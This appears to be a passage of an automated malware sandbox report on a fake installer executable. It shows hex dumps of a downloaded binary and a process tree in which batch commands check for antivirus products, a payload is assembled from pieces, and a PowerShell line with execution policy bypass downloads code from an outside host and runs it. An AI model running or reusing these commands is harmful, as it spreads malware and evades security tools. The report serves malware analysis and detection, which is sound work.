cfL4;desc="?proto=TCP&rtt=1467&min_rtt=1459&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2867&recv_bytes=820&delivery_rate=1916010&cwnd=229&unsent_bytes=0&cid=a65b4aeb9d9bce72&ts=648&x=0"
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZP@!L!This program must be run under Win32$7
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 09 4e 61 74 69 76 65 49 6e 74 04 00 00 00 80 ff ff ff 7f 02 00 00 00 74 11 40 00 01 0a 4e 61 74 69 76 65 55 49 6e 74 05 00 00 00 00 ff ff ff ff 02 00 00 90 11 40 00 04 06 53 69 6e 67 6c 65 00 02 00 00 a0 11 40 00 04 08 45 78 74 65 6e 64 65 64 02 02 00 00 00 00 b4 11 40 00 04 06 44 6f 75 62 6c 65 01 02 00 00 c4 11 40 00 04 04 43 6f 6d 70 03 02 00 00 00 00 d4 11 40 00 04 08 43 75 72 72 65 6e 63 79 04 02 00 00 00 00 e8 11 40 00 05 0b 53 68 6f 72 74 53 74 72 69 6e 67 ff 02 00 fc 11 40 00 14 09 50 41 6e 73 69 43 68 61 72 30 10 40 00 02 00 00 00 00 14 12 40 00 14 09 50 57 69 64 65 43 68 61 72 4c 10 40 00 02 00 00 00 00 2c 12 40 00 03 08 42 79 74 65 42 6f 6f 6c 00 00 00 00 80 ff ff ff 7f 28 12 40 00 05 46 61 6c 73 65 04 54 72 75 65 06 53 79 73 74 65 6d 02 00 00 Data Ascii: NativeIntt@NativeUInt@Single@Extended@Double@Comp@Currency@ShortString@PAnsiChar0@@PWideCharL@,@ByteBool(@FalseTrueSystem
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 00 02 00 0b 28 9c 4a 00 0c 26 6f 70 5f 4c 65 73 73 54 68 61 6e 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 0b 28 9c 4a 00 13 26 6f 70 5f 4c 65 73 73 54 68 61 6e 4f 72 45 71 75 61 6c 00 00 00 10 40 00 02 12 98 15 40 00 04 4c 65 66 74 02 00 12 98 15 40 00 05 52 69 67 68 74 02 00 02 00 7c 17 40 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 40 00 00 00 00 00 7c 17 40 00 00 00 00 00 92 18 40 00 08 00 00 00 00 00 00 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 22 00 9a 18 40 00 44 00 f4 ff c0 18 40 00 42 00 f4 ff e4 18 40 00 42 00 f4 ff 0d 19 40 00 43 00 f4 ff 4b 19 40 00 42 00 f4 ff 7a 19 40 00 42 00 f4 ff a3 Data Ascii: (J&op_LessThan@@Left@Right(J&op_LessThanOrEqual@@Left@Right\|@@\|@@~@@@@@@@@}@}@}@"@D@B@B@CK@Bz@B
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 41 64 64 72 65 73 73 03 00 00 11 40 00 08 00 02 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 02 b8 12 40 00 01 00 04 4e 61 6d 65 02 00 02 00 46 00 04 7f 40 00 0c 47 65 74 49 6e 74 65 72 66 61 63 65 03 00 00 10 40 00 08 00 03 08 9c 1f 40 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 20 00 00 00 00 02 00 03 4f 62 6a 02 00 02 00 3e 00 68 7f 40 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 45 6e 74 72 79 03 00 a0 14 40 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 12 40 13 40 00 01 00 03 49 49 44 02 00 02 00 31 00 28 9c 4a 00 11 47 65 74 49 6e 74 65 72 66 61 63 65 54 61 62 6c 65 03 00 2c 15 40 00 08 00 01 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 00 33 00 ac 7f 40 00 08 55 6e 69 74 4e 61 6d 65 03 00 b8 12 40 00 08 00 02 00 00 00 00 Data Ascii: Address@@Self@NameF@GetInterface@@Self@@IID Obj>h@GetInterfaceEntry@Self@@IID1(JGetInterfaceTable,@Self3@UnitName@
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 00 00 94 21 40 00 07 0f 55 6e 73 61 66 65 41 74 74 72 69 62 75 74 65 78 21 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 00 00 18 22 40 00 00 00 00 00 00 00 00 00 00 00 00 00 34 22 40 00 00 00 00 00 18 22 40 00 00 00 00 00 1e 22 40 00 08 00 00 00 c4 1f 40 00 f8 7e 40 00 00 7f 40 00 f0 80 40 00 e8 80 40 00 08 81 40 00 0c 81 40 00 10 81 40 00 04 81 40 00 8c 7d 40 00 a4 7d 40 00 d8 7d 40 00 00 00 00 00 00 00 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 34 22 40 00 07 11 56 6f 6c 61 74 69 6c 65 41 74 74 72 69 62 75 74 65 18 22 40 00 34 20 40 00 00 00 06 53 79 73 74 65 6d 00 00 00 00 02 00 00 00 b8 22 40 Data Ascii: @@}@}@}@UnsafeAttribute!@UnsafeAttributex!@4 @System"@4"@"@"@@~@@@@@@@@}@}@}@VolatileAttribute4"@VolatileAttribute"@4 @System"@
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 74 02 00 02 00 09 e8 89 40 00 08 50 75 6c 73 65 41 6c 6c 00 00 00 00 00 00 01 0a 9c 1f 40 00 07 41 4f 62 6a 65 63 74 02 00 02 00 ec 26 40 00 0f 0a 49 49 6e 74 65 72 66 61 63 65 00 00 00 00 01 00 00 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 03 00 ff ff 02 00 00 00 20 27 40 00 0f 0b 49 45 6e 75 6d 65 72 61 62 6c 65 e8 26 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 06 53 79 73 74 65 6d 01 00 ff ff 02 00 00 54 27 40 00 0f 09 49 44 69 73 70 61 74 63 68 e8 26 40 00 01 00 04 02 00 00 00 00 00 c0 00 00 00 00 00 00 46 06 53 79 73 74 65 6d 04 00 ff ff 02 00 00 00 00 cc 83 44 24 04 f8 e9 81 ca 00 00 83 44 24 04 f8 e9 9f ca 00 00 83 44 24 04 f8 e9 b1 ca 00 00 cc 85 27 40 00 8f 27 40 00 99 27 40 00 01 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: t@PulseAll@AObject&@IInterfaceFSystem '@IEnumerable&@SystemT'@IDispatch&@FSystemD$D$D$'@'@'@
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 6f 75 6e 74 02 00 cc 10 40 00 02 00 00 00 02 05 46 6c 61 67 73 02 00 9c 10 40 00 04 00 00 00 02 0b 45 6c 65 6d 65 6e 74 53 69 7a 65 02 00 9c 10 40 00 08 00 00 00 02 09 4c 6f 63 6b 43 6f 75 6e 74 02 00 00 11 40 00 0c 00 00 00 02 04 44 61 74 61 02 00 a8 2b 40 00 10 00 00 00 02 06 42 6f 75 6e 64 73 02 00 02 00 00 00 00 84 2c 40 00 0e 0a 54 56 61 72 52 65 63 6f 72 64 08 00 00 00 00 00 00 00 00 02 00 00 00 00 11 40 00 00 00 00 00 02 07 50 52 65 63 6f 72 64 02 00 00 11 40 00 04 00 00 00 02 07 52 65 63 49 6e 66 6f 02 00 02 00 00 00 00 cc 2c 40 00 0e 08 54 56 61 72 44 61 74 61 10 00 00 00 00 00 00 00 00 20 00 00 00 cc 10 40 00 00 00 00 00 02 05 56 54 79 70 65 02 00 cc 10 40 00 02 00 00 00 02 09 52 65 73 65 72 76 65 64 31 02 00 cc 10 40 00 04 00 00 00 02 09 52 65 Data Ascii: ount@Flags@ElementSize@LockCount@Data+@Bounds,@TVarRecord@PRecord@RecInfo,@TVarData @VType@Reserved1@Re
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 40 00 00 00 00 00 02 08 56 56 61 72 69 61 6e 74 02 00 00 11 40 00 00 00 00 00 02 0a 56 49 6e 74 65 72 66 61 63 65 02 00 00 11 40 00 00 00 00 00 02 0b 56 57 69 64 65 53 74 72 69 6e 67 02 00 b4 2a 40 00 00 00 00 00 02 06 56 49 6e 74 36 34 02 00 00 11 40 00 00 00 00 00 02 0e 56 55 6e 69 63 6f 64 65 53 74 72 69 6e 67 02 00 54 11 40 00 00 00 00 00 02 0a 5f 52 65 73 65 72 76 65 64 31 02 00 b4 10 40 00 04 00 00 00 02 05 56 54 79 70 65 02 00 02 00 00 00 00 00 00 0c 32 40 00 0e 0b 54 50 74 72 57 72 61 70 70 65 72 04 00 00 00 00 00 00 00 00 01 00 00 00 a0 2a 40 00 00 00 00 00 00 05 56 61 6c 75 65 02 00 02 00 06 00 0a 28 9c 4a 00 06 43 72 65 61 74 65 00 00 00 00 00 00 01 00 54 11 40 00 06 41 56 61 6c 75 65 02 00 02 00 0a c0 f5 40 00 06 43 72 65 61 74 65 00 00 00 00 Data Ascii: @VVariant@VInterface@VWideString@VInt64@VUnicodeStringT@_Reserved1@VType2@TPtrWrapper@Value(JCreateT@AValue@Create
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 28 9c 4a 00 0a 52 65 61 6c 6c 6f 63 4d 65 6d 03 00 08 32 40 00 08 00 03 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 06 4f 6c 64 50 74 72 02 00 00 54 11 40 00 02 00 07 4e 65 77 53 69 7a 65 02 00 02 00 34 00 28 9c 4a 00 07 46 72 65 65 4d 65 6d 03 00 00 00 00 00 08 00 02 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 00 08 32 40 00 01 00 03 50 74 72 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 cc 4b 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 Data Ascii: (JReallocMem2@Self2@OldPtrT@NewSize4(JFreeMemSelf2@Ptrb(JCopySelfK@Src@StartIndex2@Dest@Countb(JCopySelf
2024-12-28 03:23:59 UTC	1369	IN	Data Raw: 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 08 32 40 00 01 00 03 53 72 63 02 00 01 28 4d 40 00 02 00 04 44 65 73 74 02 00 00 9c 10 40 00 0c 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 65 6c 66 02 00 02 60 4d 40 00 01 00 03 53 72 63 02 00 00 9c 10 40 00 02 00 0a 53 74 61 72 74 49 6e 64 65 78 02 00 00 08 32 40 00 0c 00 04 44 65 73 74 02 00 00 9c 10 40 00 08 00 05 43 6f 75 6e 74 02 00 02 00 62 00 28 9c 4a 00 04 43 6f 70 79 03 00 00 00 00 00 10 00 05 00 00 00 00 00 00 00 04 53 Data Ascii: 2@Dest@Countb(JCopySelf2@Src(M@Dest@StartIndex@Countb(JCopySelf`M@Src@StartIndex2@Dest@Countb(JCopyS

Target ID:	0
Start time:	22:22:58
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\installer_1.05_36.4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\installer_1.05_36.4.exe"
Imagebase:	0x400000
File size:	1'084'064 bytes
MD5 hash:	911D5567537C6BB8413884309387BB54
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	22:22:58
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c move Expected Expected.cmd & Expected.cmd
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:22:58
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:23:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x180000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:23:00
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xcf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:23:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x180000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	22:23:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xcf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:23:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 709182
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:23:01
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Bet
Imagebase:	0x620000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	22:23:02
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "brandon" M
Imagebase:	0xcf0000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	22:23:02
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Effective + ..\Certificates + ..\Stones + ..\Harder + ..\Planners + ..\Suppose N
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	22:23:02
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\709182\Lightweight.com
Wow64 process (32bit):	true
Commandline:	Lightweight.com N
Imagebase:	0x630000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	22:23:02
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x240000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:23:56
Start date:	27/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content;
Imagebase:	0x790000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:23:56
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:24:25
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"
Imagebase:	0xf30000
File size:	16'956'304 bytes
MD5 hash:	DE1A36E00E7B8348A47B59CD94514DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 11%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:24:26
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-2LKCO.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$40478,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe"
Imagebase:	0x1000000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:24:27
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT
Imagebase:	0xf30000
File size:	16'956'304 bytes
MD5 hash:	DE1A36E00E7B8348A47B59CD94514DD4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:24:28
Start date:	27/12/2024
Path:	C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-BS7G9.tmp\MFL715GTQ6VLUD404.tmp" /SL5="$5029A,11205210,845824,C:\Users\user\AppData\Local\Temp\MFL715GTQ6VLUD404.exe" /VERYSILENT
Imagebase:	0xee0000
File size:	3'367'424 bytes
MD5 hash:	A62041070E18901131CBBE7825EC4EC7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:25:02
Start date:	27/12/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff7be950000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:25:02
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff7a9490000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff7a9490000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff6211d0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff7a9490000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:25:11
Start date:	27/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff7333c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:25:12
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:25:12
Start date:	27/12/2024
